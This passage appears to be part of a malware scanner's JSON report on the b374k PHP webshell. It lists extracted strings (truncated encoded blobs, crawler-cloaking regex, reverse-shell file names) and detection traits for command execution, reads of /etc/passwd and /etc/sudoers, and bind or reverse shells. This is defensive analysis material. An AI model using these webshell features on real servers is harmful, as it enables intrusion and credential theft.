110.0, "avg_entropy": 2.38, "hex_strings": 2.0, "sql_strings": 26.0, "total_bytes": 201331.0, "entropy_stddev": 1.37, "base64_candidates": 28.0, "very_long_strings": 18.0, "high_entropy_count": 36.0, "shell_command_strings": 24.0, "embedded_code_candidates": 10.0 }, "comments": {}, "functions": { "total": 38.0, "length_stddev": 30.4, "over_100_lines": 2.0, "avg_name_length": 6.26, "no_params_count": 38.0, "avg_length_lines": 26.08, "max_length_lines": 129.0, "min_length_lines": 4.0, "density_per_100_lines": 1.45, "code_in_functions_ratio": 0.38 }, "identifiers": { "total": 4463.0, "avg_length": 8.39, "max_length": 26.0, "min_length": 1.0, "avg_entropy": 2.55, "reuse_ratio": 0.14, "unique_count": 607.0, "length_stddev": 4.18, "has_digit_ratio": 0.01, "sequential_names": 10.0, "single_char_count": 10.0, "single_char_ratio": 0.02, "high_entropy_count": 21.0, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.94, "all_uppercase_ratio": 0.03, "numeric_suffix_count": 5.0, "double_underscore_count": 1.0, "underscore_prefix_count": 7.0 } }, "ss": [ [ 16, "fb621f5060b9f65acf8eb4232e3024140dea2b34" ], [ 17, "fb621f5060b9f65acf8eb4232e3024140dea2b34" ], [ 69, "2.8" ], [ 70, "2.8" ], [ 87, "b374k " ], [ 88, "b374k " ], [ 197, "html_errors" ], [ 198, "html_errors" ], [ 212, "0" ], [ 213, "0" ], [ 244, "DS" ], [ 245, "DS" ], [ 398, "ru" ], [ 399, "ru" ], [ 503, "display_errors" ], [ 504, "display_errors" ], [ 521, "1" ], [ 522, "1" ], [ 540, "log_errors" ], [ 541, "log_errors" ], [ 554, "1" ], [ 555, "1" ], [ 680, "\u003cspan\u003e" ], [ 681, "\u003cspan\u003e" ], [ 700, "=\u003e" ], [ 701, "=\u003e" ], [ 713, "\u003c/span\u003e\u003cbr /\u003e" ], [ 714, "\u003c/span\u003e\u003cbr /\u003e" ], [ 782, "display_errors" ], [ 783, "display_errors" ], [ 800, "0" ], [ 801, "0" ], [ 819, "log_errors" ], [ 820, "log_errors" ], [ 833, "0" ], [ 834, "0" ], [ 914, "b374k" ], [ 915, "b374k" ], [ 993, "b374k" ], [ 994, "b374k" ], [ 1070, "login" ], [ 1071, "login" ], [ 1113, "login" ], [ 1114, "login" ], [ 1199, "b374k" ], [ 1200, "b374k" ], [ 1306, "x" ], [ 1307, "x" ], [ 1320, "x" ], [ 1321, "x" ], [ 1328, "logout" ], [ 1329, "logout" ], [ 1365, "theme" ], [ 1366, "theme" ], [ 1374, "cwd" ], [ 1375, "cwd" ], [ 1417, "b374k_included" ], [ 1418, "b374k_included" ], [ 1454, "s_home" ], [ 1455, "s_home" ], [ 1492, "s_self" ], [ 1493, "s_self" ], [ 1504, "\u0026" ], [ 1505, "\u0026" ], [ 1828, "Location: " ], [ 1829, "Location: " ], [ 1918, "s_pass" ], [ 1919, "s_pass" ], [ 1990, "s_pass" ], [ 1991, "s_pass" ], [ 2028, "cmd" ], [ 2029, "cmd" ], [ 2079, "cmd" ], [ 2080, "cmd" ], [ 2118, "eval" ], [ 2119, "eval" ], [ 2171, "eval" ], [ 2172, "eval" ], [ 2415, "HTTP_USER_AGENT" ], [ 2416, "HTTP_USER_AGENT" ], [ 2449, "/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i" ], [ 2450, "/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i" ], [ 2556, "HTTP_USER_AGENT" ], [ 2557, "HTTP_USER_AGENT" ], [ 2590, "HTTP/1.0 404 Not Found" ], [ 2591, "HTTP/1.0 404 Not Found" ], [ 2628, "Status: 404 Not Found" ], [ 2629, "Status: 404 Not Found" ], [ 2689, "HTTP_USER_AGENT" ], [ 2690, "HTTP_USER_AGENT" ], [ 2723, "HTTP/1.0 404 Not Found" ], [ 2724, "HTTP/1.0 404 Not Found" ], [ 2761, "Status: 404 Not Found" ], [ 2762, "Status: 404 Not Found" ], [ 43135, "7Vvnl9tGkv88fs//A6y7XZILagAwUyPKxwDmnEmtVg+hEUgkIhAAd/W/XzcAgmE4ku3zvrsPJ0szRHd1VXX1r1KD/virIRk//yQBhgdm8l1d12yg2e/nvgE+YDbwbGLH" ], [ 43136, "7Vvnl9tGkv88fs//A6y7XZILagAwUyPKxwDmnEmtVg+hEUgkIhAAd/W/XzcAgmE4ku3zvrsPJ0szRHd1VXX1r1KD/virIRk//yQBhgdm8l1d12yg2e/nvgE+YDbwbGLH" ], [ 51674, "lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMq" ], [ 51675, "lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMq" ], [ 52341, "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs" ], [ 52342, "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs" ], [ 53284, "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMash" ], [ 53285, "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMash" ], [ 54423, "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEK" ], [ 54424, "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEK" ], [ 54929, "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0t" ], [ 54930, "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0t" ], [ 55638, "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZb" ], [ 55639, "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZb" ], [ 56526, "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba" ], [ 56527, "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba" ], [ 62386, "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV" ], [ 62387, "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV" ], [ 63619, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZW" ], [ 63620, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZW" ], [ 64688, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MP" ], [ 64689, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MP" ], [ 66327, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeN" ], [ 66328, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeN" ], [ 66888, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLB" ], [ 66889, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLB" ], [ 67457, "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69Ar" ], [ 67458, "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69Ar" ], [ 68769, "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJ" ], [ 68770, "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJ" ], [ 69550, "vVhtb9s4Ev4eIP/B0XUNEZZlO+19ONPcYNMXbHHd7gFb3H5w3IKiaFmJLLkSnWzO8X+/GZJ680vW7eG2QGO+zTPDhxzOjO553lmwi6F3yy5G9PysyHKleJBItpHj+ToV" ], [ 69551, "vVhtb9s4Ev4eIP/B0XUNEZZlO+19ONPcYNMXbHHd7gFb3H5w3IKiaFmJLLkSnWzO8X+/GZJ680vW7eG2QGO+zTPDhxzOjO553lmwi6F3yy5G9PysyHKleJBItpHj+ToV" ], [ 72431, "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGK" ], [ 72432, "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGK" ], [ 73030, "magic_quotes_sybase" ], [ 73031, "magic_quotes_sybase" ], [ 73079, "get_magic_quotes_gpc" ], [ 73080, "get_magic_quotes_gpc" ], [ 73381, "off" ], [ 73382, "off" ], [ 73433, "\\\\'\\\\" ], [ 73443, "\\\\" ], [ 73716, "\\$s_pass = \\" ], [ 73719, "s_pass = " ], [ 73745, "\\\";" ], [ 73748, ";" ], [ 73776, "SCRIPT_FILENAME" ], [ 73777, "SCRIPT_FILENAME" ], [ 73821, "/\\\\\\$s_pass\\\\ *=\\\\ *[\\\"\\\\']*([a-fA-F0-9]*)[\\\"\\\\']*;/is" ], [ 73822, "/" ], [ 73827, "s_pass" ], [ 73835, " *=" ], [ 73840, " *[" ], [ 73847, "]*([a-fA-F0-9]*)[" ], [ 73869, "]*;/is" ], [ 73934, "SCRIPT_FILENAME" ], [ 73935, "SCRIPT_FILENAME" ], [ 74064, "css" ], [ 74065, "css" ], [ 74088, "\u003clink rel='stylesheet' type='text/css' href=" ], [ 74089, "\u003clink rel='stylesheet' type='text/css' href=" ], [ 74148, "|' /\u003e" ], [ 74149, "|' /\u003e" ], [ 74177, "js" ], [ 74178, "js" ], [ 74200, "\u003cscript type='text/javascript' src=" ], [ 74201, "\u003cscript type='text/javascript' src=" ], [ 74251, "!'\u003e\u003c/script\u003e" ], [ 74252, "!'\u003e\u003c/script\u003e" ], [ 74410, "?\u003e" ], [ 74411, "?\u003e" ], [ 74801, "/\\\\\\\\+/is" ], [ 74802, "/" ], [ 74807, "+/is" ], [ 74814, "\\\\" ], [ 75149, "\u003ca href=" ], [ 75150, "\u003ca href=" ], [ 75173, "cd=" ], [ 75174, "cd=" ], [ 75193, "\u003e" ], [ 75194, "\u003e" ], [ 75214, " " ], [ 75215, " " ], [ 75225, " \u003c/a\u003e" ], [ 75226, " \u003c/a\u003e" ], [ 75389, "rawurldecode" ], [ 75390, "rawurldecode" ], [ 75522, "\\" ], [ 75534, "\\" ], [ 75591, " " ], [ 75592, " " ], [ 75596, "\\" ], [ 75608, "_" ], [ 75609, "_" ], [ 75707, "\u003cdiv class='notif'\u003e" ], [ 75708, "\u003cdiv class='notif'\u003e" ], [ 75736, "\u003c/div\u003e" ], [ 75737, "\u003c/div\u003e" ], [ 75894, "Directory " ], [ 75895, "Directory " ], [ 75925, " is not writable, please change to a writable one" ], [ 75926, " is not writable, please change to a writable one" ], [ 75994, "Unable to compile using gcc" ], [ 75995, "Unable to compile using gcc" ], [ 76043, "Unable to compile using javac" ], [ 76044, "Unable to compile using javac" ], [ 76099, "_" ], [ 76100, "_" ], [ 76191, "py" ], [ 76192, "py" ], [ 76210, "pl" ], [ 76211, "pl" ], [ 76229, "rb" ], [ 76230, "rb" ], [ 76248, "js" ], [ 76249, "js" ], [ 76279, "py" ], [ 76280, "py" ], [ 76312, "python" ], [ 76313, "python" ], [ 76351, "pl" ], [ 76352, "pl" ], [ 76384, "perl" ], [ 76385, "perl" ], [ 76421, "rb" ], [ 76422, "rb" ], [ 76454, "ruby" ], [ 76455, "ruby" ], [ 76491, "js" ], [ 76492, "js" ], [ 76524, "node" ], [ 76525, "node" ], [ 76561, "b374k_rs." ], [ 76562, "b374k_rs." ], [ 76696, "w" ], [ 76697, "w" ], [ 76839, "chmod +x " ], [ 76840, "chmod +x " ], [ 76898, "node" ], [ 76899, "node" ], [ 76945, "node" ], [ 76946, "node" ], [ 77019, " " ], [ 77020, " " ], [ 77036, " " ], [ 77037, " " ], [ 77099, "nodejs" ], [ 77100, "nodejs" ], [ 77175, "js " ], [ 77176, "js " ], [ 77194, " " ], [ 77195, " " ], [ 77310, " " ], [ 77311, " " ], [ 77327, " " ], [ 77328, " " ], [ 77528, "c" ], [ 77529, "c" ], [ 77554, "b374k_rs" ], [ 77555, "b374k_rs" ], [ 77672, ".c" ], [ 77673, ".c" ] ], "sz": 197208, "ts": [ { "c": 0.8999999761581421, "d": "shell_exec fallback function name", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-shell-exec-name", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "/etc/passwd" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-6", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.8500000238418579, "d": "Shell stderr redirected to stdout", "e": [ " 2\u003e\u00261" ], "i": "micro-behaviors/process/create/shell/lang::shell-stderr-redirect", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.9599999785423279, "d": "md5 time short PHP drop name", "e": [ "substr(md5(time()), 0, 8)" ], "i": "objectives/command-and-control/backdoor/webshell/archive::md5-time-php-drop-name", "l": 4, "m": "B0030" }, { "c": 0.800000011920929, "d": "Generates HTML content (DOCTYPE)", "e": [ "\u003c!DOCTYPE html\u003e" ], "i": "micro-behaviors/data/format/html::html-generator-doctype", "l": 2 }, { "c": 0.8500000238418579, "d": "PHP mysql_connect database handle", "e": [ "mysql_connect" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-connect", "l": 3 }, { "c": 0.20000000298023224, "d": "command keyword", "e": [ "command" ], "i": "micro-behaviors/data/text/keywords/lexicon::command-dup", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 40328.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via iterators in PHP", "e": [ "RecursiveDirectoryIterator" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-iterator", "l": 2 }, { "c": 0.8199999928474426, "d": "Process list profile field", "e": [ "process list" ], "i": "objectives/discovery/system/profile::host-profile-process-field", "l": 1 }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "Reverse Shell" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-18", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 1.0, "d": "Inequality check in WordPress user list", "e": [ "!=" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 38.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "please" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-27", "l": 1 }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "File upload access ($_FILES)", "e": [ "$_FILES" ], "i": "micro-behaviors/communications/http/request/params::files", "l": 3 }, { "c": 1.0, "d": "PHP unlink function symbol", "e": [ "unlink" ], "i": "micro-behaviors/fs/delete/file::php-unlink", "l": 3 }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "apache2.conf configuration file", "e": [ "apache2.conf" ], "i": "micro-behaviors/communications/http/server/listener::apache2-conf-path", "l": 3, "m": "C0002" }, { "c": 0.6000000238418579, "d": "Generates HTML tags", "e": [ "\u003cbody" ], "i": "micro-behaviors/data/format/html::html-generator-tags", "l": 3 }, { "a": "T1059", "c": 0.6499999761581421, "d": "PHP object deserialization call", "e": [ "unserialize" ], "i": "micro-behaviors/data/serialize/object::unserialize", "l": 3, "m": "E1059" }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "enctype attribute", "e": [ "enctype=" ], "i": "micro-behaviors/communications/http/post::enctype-attr", "l": 3, "m": "C0002" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account oracle", "e": [ "oracle" ], "i": "objectives/lateral-movement/brute-force/password::service-account-oracle", "l": 1, "m": "E1110" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via shell_exec()", "e": [ "shell_exec" ], "i": "micro-behaviors/process/create/shell/lang::shell-exec", "l": 3, "m": "E1059" }, { "c": 0.8399999737739563, "d": "password/token/api_key field keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/credential::credential-field", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "d": "Sets HTTP cookie via setcookie()", "e": [ "setcookie" ], "i": "micro-behaviors/communications/http/cookies::setcookie-call", "l": 3 }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "httpd.conf configuration file", "e": [ "httpd.conf" ], "i": "micro-behaviors/communications/http/server/listener::httpd-conf-path", "l": 3, "m": "C0002" }, { "c": 0.800000011920929, "d": "Resolve GID to group (posix_getgrgid)", "e": [ "posix_getgrgid" ], "i": "micro-behaviors/os/group/lookup::posix-getgrgid", "l": 3 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "method=" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "PHP Environment" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11747", "l": 1 }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "a": "T1021.004", "c": 0.4000000059604645, "d": "ssh string", "e": [ "ssh" ], "i": "micro-behaviors/communications/ssh/connect::ssh-string", "l": 2 }, { "a": "T1082", "c": 0.699999988079071, "d": "Gets effective UID of current process", "e": [ "posix_geteuid" ], "i": "objectives/discovery/system/fingerprint/info::posix-geteuid", "l": 3, "m": "E1082" }, { "c": 0.800000011920929, "d": "Detects PHP copy file recreation call", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "c": 0.6000000238418579, "d": "JSON decoding for data input", "e": [ "json_decode" ], "i": "micro-behaviors/data/serialize/object::json-decode", "l": 2 }, { "a": "T1486", "c": 0.4000000059604645, "d": "rename( function", "e": [ "rename(" ], "i": "objectives/impact/ransom/tactics::rename-fn", "l": 1 }, { "c": 0.75, "d": "HTTP protocol version strings", "e": [ "HTTP/1.0" ], "i": "micro-behaviors/communications/http/request/client::http-versions", "l": 1 }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "PHP readfile output function", "e": [ "readfile" ], "i": "objectives/command-and-control/backdoor/webshell/stager::readfile-output", "l": 1 }, { "c": 0.8199999928474426, "d": "Detects overwrite-mode file open", "e": [ "fopen($s_fpath, \"w\"" ], "i": "objectives/impact/infect/script::php-overwrite-file-mode", "l": 1 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP POST parameter access ($_POST)", "e": [ "$_POST" ], "i": "micro-behaviors/communications/http/request/params::post-dup", "l": 3 }, { "c": 0.8500000238418579, "d": "MIME octet-stream content type", "e": [ "application/octet-stream" ], "i": "micro-behaviors/communications/email/mime::mime-octet-stream", "l": 1 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "lighttpd web server", "e": [ "lighttpd" ], "i": "micro-behaviors/communications/http/server/listener::lighttpd-keyword", "l": 3, "m": "C0002" }, { "a": "T1548", "c": 0.8500000238418579, "d": "/etc/sudoers sudo configuration", "e": [ "/etc/sudoers" ], "i": "micro-behaviors/fs/path/config/privesc::etc-sudoers", "l": 2 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 2623.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP GET parameter access ($_GET)", "e": [ "$_GET" ], "i": "micro-behaviors/communications/http/request/params::get-dup", "l": 3 }, { "c": 0.800000011920929, "d": "Detects PHP rename file recreation call", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-rename-call", "l": 1 }, { "c": 0.800000011920929, "d": "Writes data to an open file", "e": [ "fwrite" ], "i": "micro-behaviors/fs/write/file/direct::fwrite", "l": 3, "m": "C0052" }, { "a": "T1543.002", "c": 0.8500000238418579, "d": "Reads /etc/os-release for arch detection", "e": [ "/etc/os-re" ], "i": "objectives/persistence/system/service/systemd::bash-os-release-read", "l": 4, "m": "F0011" }, { "a": "T1565.001", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "download" ], "i": "objectives/evasion/hosts-file/block-security::escan-security-domain--rx-1", "l": 1, "m": "F0004" }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "json_decode" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-8", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "passthru fallback function name", "e": [ "passthru" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-passthru-name", "l": 1, "m": "B0030" }, { "c": 0.6600000262260437, "d": "Get CPU info from /proc/cpuinfo", "e": [ "/proc/cpuinfo" ], "i": "micro-behaviors/fs/proc/system::system-cpuinfo", "l": 3 }, { "a": "T1548.003", "c": 0.8600000143051147, "d": "sudoers policy persistence path", "e": [ "\"/etc/sudoers" ], "i": "objectives/persistence/system/surface/paths::sudoers-policy-path", "l": 4 }, { "c": 0.8999999761581421, "d": "system fallback function name", "e": [ "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-system-name", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "c": 0.6000000238418579, "d": "JSON encoding for data output", "e": [ "json_encode" ], "i": "micro-behaviors/data/serialize/object::json-encode", "l": 2 }, { "a": "T1027", "c": 0.6499999761581421, "d": "serialize/unserialize for object serialization", "e": [ "unserialize(" ], "i": "objectives/anti-static/obfuscation/encoding/xor::serialize-call", "l": 2, "m": "B0032" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.9399999976158142, "d": "Architecture keyed encoded blob value", "e": [ "\"fb621f5060b9f65acf8eb4232e3024140dea2b34\"" ], "i": "objectives/anti-static/obfuscation/payload/config::arch-keyed-hex-blob-dict--encoded-value", "l": 1, "m": "B0032" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "basename($_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-1", "l": 1, "m": "B0030" }, { "a": "T1059", "c": 0.800000011920929, "d": "Self-reference via __FILE__", "e": [ "__FILE__" ], "i": "micro-behaviors/fs/read/self::self-file-reference", "l": 3 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[adds, addslashes, array_diff, array_filter, array_key_exists, array_map, array_merge, array_unshift, base64_decode, basename, b" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via passthru()", "e": [ "passthru" ], "i": "micro-behaviors/process/create/shell/lang::passthru", "l": 3, "m": "E1059" }, { "a": "T1105", "c": 0.8500000238418579, "d": "Moves uploaded PHP file", "e": [ "move_uploaded_file" ], "i": "micro-behaviors/fs/write/file/direct::move-uploaded-file", "l": 3, "m": "C0052" }, { "c": 0.699999988079071, "d": "PHP object serialization", "e": [ "serialize" ], "i": "micro-behaviors/data/serialize/object::serialize", "l": 3 }, { "c": 0.8500000238418579, "d": "PHP mysql query execution APIs", "e": [ "mysql_query" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-query", "l": 3 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 40316.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "a": "T1059", "c": 0.699999988079071, "d": "Bind shell keyword", "e": [ "Bind Shell" ], "i": "micro-behaviors/data/text/malware/terms::generic-term-bindshell", "l": 3 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[adds, addslashes, array_diff, array_filter, array_key_exists, array_map, array_merge, array_unshift, base64_decode, basename, b" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "d": "POSIX \"Permission denied\" error message", "e": [ "Permission denied" ], "i": "micro-behaviors/os/message/error::permission-denied", "l": 2 }, { "c": 0.699999988079071, "d": "MD5 hash computation", "e": [ "md5" ], "i": "micro-behaviors/crypto/hash/digest::md5-php", "l": 3, "m": "C0029" }, { "a": "T1027", "c": 